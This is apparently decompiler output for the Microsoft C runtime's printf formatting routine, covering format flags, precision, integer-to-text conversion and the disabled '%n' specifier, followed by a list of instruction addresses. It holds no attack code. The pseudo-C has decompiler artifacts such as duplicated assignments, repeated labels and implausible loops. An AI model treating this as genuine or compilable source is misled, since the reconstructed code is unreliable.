											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M004355B0))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B870(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE00(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xf9b80f80
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE00(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xfe6faf80
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE00(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0xfe6d6f80
																	E00424670(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
															goto L190;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00428310(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00428350(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E004341E0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													do {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													} while ( *(__ebp - 0x324) > 0x37);
													goto L72;
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													L108:
													__ecx = __ebp + 0x14;
													 *(__ebp - 0x298) = E00428310(__ebp + 0x14);
													__eax = E00433EC0();
													__eflags = __eax;
													if(__eax != 0) {
														L118:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
														__eflags =  *(__ebp - 0x10) & 0x00000020;
														if(( *(__ebp - 0x10) & 0x00000020) == 0) {
															__edx =  *(__ebp - 0x298);
															__eax =  *(__ebp - 0x24c);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														} else {
															__eax =  *(__ebp - 0x298);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
													L109:
													__edx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x32c) = 0;
													} else {
														 *(__ebp - 0x32c) = 1;
													}
													__eax =  *(__ebp - 0x32c);
													 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E330();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) != 0) {
														L117:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													} else {
														L116:
														 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
														__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x2f8) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041ADD0(__ecx);
														__eax =  *(__ebp - 0x2f8);
														goto L229;
													}
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L89:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428310(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L100:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L103:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L104:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L106:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L107;
													} else {
														L93:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L96:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L97:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L98:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L99:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L107:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428310(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428310(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428310(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00430740( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E004307C0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t623 - 0x314) = 0;
									} else {
										 *(_t623 - 0x314) = 1;
									}
									_t573 =  *(_t623 - 0x314);
									 *(_t623 - 0x278) =  *(_t623 - 0x314);
									if( *(_t623 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t530 = L0041E330();
										_t626 = _t626 + 0x14;
										if(_t530 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t623 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422E20(_t573))) = 0x16;
										E00422BB0(_t558, _t573, _t621, _t622, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t623 - 0x2f0) = 0xffffffff;
										E0041ADD0(_t623 - 0x40);
										_t503 =  *(_t623 - 0x2f0);
										L229:
										return E0042BC70(_t503, _t558,  *(_t623 - 0x48) ^ _t623, _t594, _t621, _t622);
									}
								}
							}
							L219:
							if( *(_t623 - 0x25c) == 0) {
								L222:
								 *(_t623 - 0x334) = 1;
								L223:
								_t560 =  *(_t623 - 0x334);
								 *(_t623 - 0x2e0) =  *(_t623 - 0x334);
								if( *(_t623 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t508 = L0041E330();
									_t626 = _t626 + 0x14;
									if(_t508 == 1) {
										asm("int3");
									}
								}
								if( *(_t623 - 0x2e0) != 0) {
									 *(_t623 - 0x300) =  *(_t623 - 0x24c);
									E0041ADD0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x300);
								} else {
									 *((intOrPtr*)(L00422E20(_t560))) = 0x16;
									E00422BB0(_t558, _t560, _t621, _t622, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t623 - 0x2fc) = 0xffffffff;
									E0041ADD0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t623 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t623 - 0x334) = 0;
							goto L223;
						}
					}
					L82:
					_t593 =  *0x440f80; // 0x404478
					 *(_t623 - 4) = _t593;
					_t497 = E0041DDD0( *(_t623 - 4));
					_t626 = _t626 + 4;
					 *(_t623 - 0x24) = _t497;
					goto L86;
				}
			}

0x00434ae5
0x00434ae5
0x00434ae5
0x00434ae5
0x00434ae5
0x00434ae5
0x00434ae9
0x00434aee
0x00434af1
0x00434afe
0x00000000
0x00000000
0x00434b00
0x00434b00
0x00434b0a
0x00434b26
0x00434b29
0x00434b2f
0x00434b57
0x00434b5e
0x00434b64
0x00434b67
0x00434b6a
0x00434b70
0x00434b73
0x00434b31
0x00434b31
0x00434b37
0x00434b3a
0x00434b3d
0x00434b43
0x00434b46
0x00434b49
0x00434b4b
0x00434b4e
0x00434b4e
0x00434b76
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x0043524c
0x00435252
0x0043525c
0x00435271
0x00435286
0x00435288
0x0043528c
0x0043528c
0x00435273
0x00435273
0x00435277
0x00435277
0x0043525e
0x0043525e
0x00435262
0x00435262
0x0043525c
0x0043529c
0x004352a8
0x004352be
0x004352c3
0x004352c3
0x004352d9
0x004352de
0x004352e7
0x004352ef
0x00435305
0x0043530a
0x0043530a
0x004352ef
0x00435311
0x004353e5
0x004353f8
0x004353fd
0x00000000
0x00435317
0x00435317
0x0043531b
0x00000000
0x00000000
0x00435321
0x00435321
0x0043532e
0x00435337
0x0043533d
0x0043533d
0x0043534c
0x00435354
0x00000000
0x00000000
0x0043535a
0x00435363
0x00435382
0x00435387
0x0043538a
0x00435399
0x004353a6
0x004353b1
0x004353b1
0x00000000
0x004353b1
0x004353a8
0x004353af
0x004353bd
0x004353d6
0x004353db
0x00000000
0x004353db
0x00000000
0x004353af
0x004353e3
0x00435400
0x00435407
0x0043540f
0x00435425
0x0043542a
0x0043542a
0x0043540f
0x00435407
0x0043542d
0x00435431
0x00435439
0x0043543e
0x00435441
0x00435441
0x00435448
0x00435448
0x0043451f
0x00434525
0x00434532
0x00434537
0x00000000
0x0043454a
0x00434554
0x0043457b
0x00434562
0x00434573
0x00434573
0x00434554
0x00434585
0x0043458b
0x00434597
0x0043459a
0x004345a8
0x004345ab
0x004345b8
0x0043465d
0x00434663
0x00434670
0x00000000
0x00000000
0x00434676
0x0043467c
0x00000000
0x00434683
0x00434683
0x0043469b
0x004346a0
0x004346a3
0x004346a5
0x0043475f
0x00434772
0x00434777
0x00000000
0x004346ab
0x004346be
0x004346c3
0x004346c9
0x004346cb
0x004346d4
0x004346d4
0x004346d7
0x004346e3
0x004346e7
0x004346ed
0x004346ef
0x004346f4
0x004346f6
0x004346fb
0x00434700
0x00434702
0x00434707
0x0043470a
0x0043470d
0x0043470f
0x0043470f
0x0043470d
0x00434710
0x00434710
0x00434717
0x00000000
0x00434719
0x0043471e
0x0043473a
0x00434742
0x0043474f
0x00434754
0x00000000
0x00434754
0x00434717
0x00000000
0x0043477f
0x0043477f
0x00434786
0x00434789
0x0043478c
0x0043478f
0x00434792
0x00434795
0x00434798
0x0043479f
0x004347a6
0x00000000
0x00000000
0x004347b2
0x004347b2
0x004347b9
0x004347c5
0x004347c8
0x004347ce
0x004347d5
0x00000000
0x00000000
0x004347d7
0x004347d7
0x004347dd
0x004347dd
0x004347e4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434827
0x00434827
0x0043482e
0x00434831
0x0043485b
0x0043485e
0x0043485e
0x00434861
0x00434868
0x00434868
0x0043486c
0x00434833
0x00434833
0x0043483f
0x00434842
0x00434846
0x00434848
0x0043484b
0x0043484b
0x0043484e
0x00434854
0x00434856
0x00434856
0x00434859
0x00000000
0x00000000
0x00434874
0x00434874
0x00000000
0x00000000
0x00434880
0x00434880
0x00434887
0x0043488a
0x004348aa
0x004348ad
0x004348ad
0x004348b7
0x004348b7
0x004348bb
0x0043488c
0x0043488c
0x00434898
0x0043489b
0x0043489f
0x004348a1
0x004348a1
0x004348a8
0x00000000
0x00000000
0x004348c3
0x004348c3
0x004348ca
0x004348d6
0x004348d9
0x004348df
0x004348e6
0x004349f9
0x00000000
0x004349f9
0x004348ec
0x004348ec
0x004348f2
0x004348f2
0x004348f9
0x00000000
0x0043492f
0x0043492f
0x00434932
0x00434935
0x00434938
0x00434960
0x00434960
0x00434963
0x00434966
0x00434969
0x0043498e
0x0043498e
0x00434991
0x00434994
0x00434997
0x004349d0
0x004349e1
0x00000000
0x004349e1
0x00434999
0x00434999
0x0043499c
0x0043499f
0x004349a2
0x00000000
0x00000000
0x004349a4
0x004349a4
0x004349a7
0x004349aa
0x004349ad
0x00000000
0x00000000
0x004349af
0x004349af
0x004349b2
0x004349b5
0x004349b8
0x00000000
0x00000000
0x004349ba
0x004349ba
0x004349bd
0x004349c0
0x004349c3
0x00000000
0x00000000
0x004349c5
0x004349c5
0x004349c8
0x004349cb
0x004349ce
0x004349d2
0x00000000
0x004349d2
0x00000000
0x004349ce
0x0043496b
0x0043496b
0x0043496e
0x00434972
0x00434975
0x00000000
0x00434977
0x0043497a
0x0043497d
0x00434980
0x00434983
0x00434989
0x00000000
0x00434989
0x00434975
0x0043493a
0x0043493a
0x0043493d
0x00434941
0x00434944
0x00000000
0x00434946
0x00434949
0x0043494c
0x0043494f
0x00434952
0x00434958
0x00000000
0x00434958
0x00000000
0x004349e3
0x004349e6
0x004349e9
0x00000000
0x00000000
0x00434900
0x00434900
0x00434903
0x00434906
0x00434909
0x00434921
0x00434924
0x00434924
0x00434927
0x0043490b
0x0043490e
0x00434911
0x00434917
0x0043491c
0x0043491c
0x00000000
0x00000000
0x004349ee
0x004349ee
0x004349f1
0x004349f1
0x004349f6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004349fe
0x004349fe
0x00434a05
0x00434a11
0x00434a14
0x00434a1a
0x00434a21
0x00000000
0x00435242
0x00435242
0x00435242
